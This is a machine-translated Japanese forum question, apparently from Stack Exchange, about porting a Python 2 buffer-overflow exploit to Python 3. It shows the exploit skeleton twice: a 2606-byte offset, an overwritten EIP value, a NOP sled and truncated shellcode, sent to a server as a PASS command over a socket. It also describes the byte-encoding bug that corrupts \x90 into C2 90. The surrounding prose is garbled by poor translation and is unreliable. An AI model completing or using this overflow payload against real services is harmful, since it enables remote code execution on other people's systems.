での開発を悪用私が理解として、それは、Python 2.は私のpython 3で開発を悪用し、その実現のPython 3
を使用しているほど単純ではありませんが、これは主に、ソケットライブラリと追加byte
データ型によるものです。
例えば、私は、Python 3のコードに次のコードを変換する方法を見つけ出すことができませんでした:私は次のことを試してみました
--- SNIP ---
shellcode = ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---
:
--- SNIP ---
shellcode = ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}".format(buff).encode("UTF-8"))
--- SNIP ---
問題は\x90
がC2 90
中になることです問題が私のコードから来ていることを理解するまでには数時間かかりました。私はこれもシェルコードを変更する可能性があると思う。
私は、Python 2のコードは、基本的にバイト文字列を構築Pythonの
これは、2to3ツールがpython3にバンドルされていることに注意してください。このツールは、Python 2をPython 3コードに変換する作業のほとんどを自動的に行います。ここでも助けてくれるかもしれません。 – Pascal
@SteffenUllrich私はその質問を投稿する場所がわからなかった、私はsecurity.stackexchange.comが正しい場所だと思ったが、プログラミング上の問題点がある。私はその質問を閉じて、それからstackoverflowで開くつもりです。 –
私はこの質問をstackoverflowに転送しています。 –